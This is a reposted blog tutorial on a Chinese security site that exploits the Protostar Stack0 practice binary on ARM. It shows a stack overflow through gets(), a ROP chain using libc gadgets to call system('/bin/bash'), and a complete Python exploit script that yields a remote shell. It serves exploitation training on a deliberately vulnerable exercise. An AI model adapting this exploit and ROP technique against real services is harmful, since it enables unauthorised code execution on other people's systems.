神刀安全网

ARM Exploit Exercises

Overview

A while ago, a compiled all of the stack exercises from the Exploit Exercises Protostar series and dumped them on Github . I like to practice exploitation on ARM a lot, because architecture wise it is where I spend most of my time. After running through all of the Protostar exercises again, I thought it might be useful to break down one of the challenges. So let’s jump in and take a look at Stack0

Exploitation

I am working off of my RPI, so if you don’t have a unit yourself, you can always setup a QEMU environment in order to follow along. Unlike the original X86 challenge, NX is flipped on for the stack. I also have ASLR disabled for this exercise.

For debugging I am using gef , which has excellent support for the ARM architecture. I am also running the binary using socat , so I can test and exploit remotely.

[email protected]

:~/exploit-exercises-arm/protostar/stack0 $ socat tcp-l:6666,reuseaddr,fork exec:"./stack0"

After loading up the binary in GDB, we can use a gef command to set a breakpoint on the entry point of the program.

gef> entry-break   [+] Breaking at '{<text variable, no debug info>} 0x1044c <main>' Temporary breakpoint 1 at 0x1044c   [+] Starting execution 

We can observe the stack overflow that will happen in gets() function pretty easily in the assembly.

0x00010468 <+28>:    sub r3, r11, #72    ; 0x48   0x0001046c <+32>:    mov r0, r3   0x00010470 <+36>:    bl  0x102e8   

If we send 76 bytes into gets() , this will result in a segmentation fault.

gef> c   Continuing.   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   You have changed the 'modified' variables!  Program received signal SIGSEGV, Segmentation fault.   

If we checkout the program registers, it appears we have overwritten the return address and now control the pc .

gef> info registers   r0             0x0    0   r1             0x0    0   r2             0x1    1   r3             0x0    0   r4             0x0    0   r5             0x0    0   r6             0x10324    66340   r7             0x0    0   r8             0x0    0   r9             0x0    0   r10            0x76fff000    1996484608   r11            0x41414141    1094795585   r12            0x2b    43   sp             0x7efff5b0    0x7efff5b0   lr             0x76ed1008    1995247624   pc             0x41414140    0x41414140   cpsr           0x60000030    1610612784   

Because the stack is not executable, we will need to use ROP to achieve code execution. There are pretty much zero useful gadgets in the main binary itself, which forces us to scavenge through libc . We will be building a ROP chain in order to call the system() function. Using ROPgadget , I located the following gadgets to build my chain. Here they are with some explanation around them.

In ARM, arguments are passed to functions through registers. For example r0 will hold the first argument to a given function call. In our case this will be the system() function.

This gadget will pop what is on the stack into r0 , r4 , and pc respectively. Our next gadget will be put into pc in order to continue controlling the execution flow.

0x0007a12c : pop {r0, r4, pc}   

The second gadget is to merely control the Link Register . This will contain the address to system() and the bx lr instruction will call the function itself.

0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr   

With ASLR being disabled, we can grab the base address of libc and calculate each gadget’s offsets.

gef> vmmap        Start        End     Offset Perm Path 0x00010000 0x00011000 0x00000000 r-x /home/pi/exploit-exercises-arm/protostar/stack0/stack0   0x00020000 0x00021000 0x00000000 rw- /home/pi/exploit-exercises-arm/protostar/stack0/stack0   0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so   0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so   0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so   0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so   0x76fa4000 0x76fa7000 0x00000000 rw-   0x76fba000 0x76fbf000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so   0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so   0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so   0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so   0x76ff5000 0x76ffb000 0x00000000 rw-   0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]   0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]   0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]   0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so   0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so   0x7efdf000 0x7f000000 0x00000000 rwx [stack]   0xffff0000 0xffff1000 0x00000000 r-x [vectors]   

Finally, if we look down the stack, we should be able to get the address which holds the string SHELL=/bin/bash . We can index into this address and grab /bin/bash , which will be used as our argument for the system() function.

Here is exploit.

import socket   import sys   import struct   import telnetlib   def exploit():       try:         # Connect to target         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.connect(('10.174.90.177', 6666))         print("[*] Connecting to target (!)")         # Build payload         payload = 'A' * 72         payload += struct.pack("<I", 0x76EE012C)         payload += struct.pack("<I", 0x7efff7f3)         payload += 'BBBB'         payload += struct.pack("<I", 0x76EC2BC8)         payload += 'CCCC'         payload += 'DDDD'         payload += 'EEEE'         payload += 'FFFF'         payload += struct.pack("<I", 0x76e9ffac)         print("[*] Sending Payload (!)")         # Send payload         s.sendall(payload)         # Interact with the shell         t = telnetlib.Telnet()         t.sock = s         t.interact()     except socket.errno:         raise  if __name__ == '__main__':       try:         exploit()     except KeyboardInterrupt:         sys.exit(0) 

Let’s run it!

[*] Connecting to target (!) [*] Sending Payload (!) id   uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)   

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » ARM Exploit Exercises

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址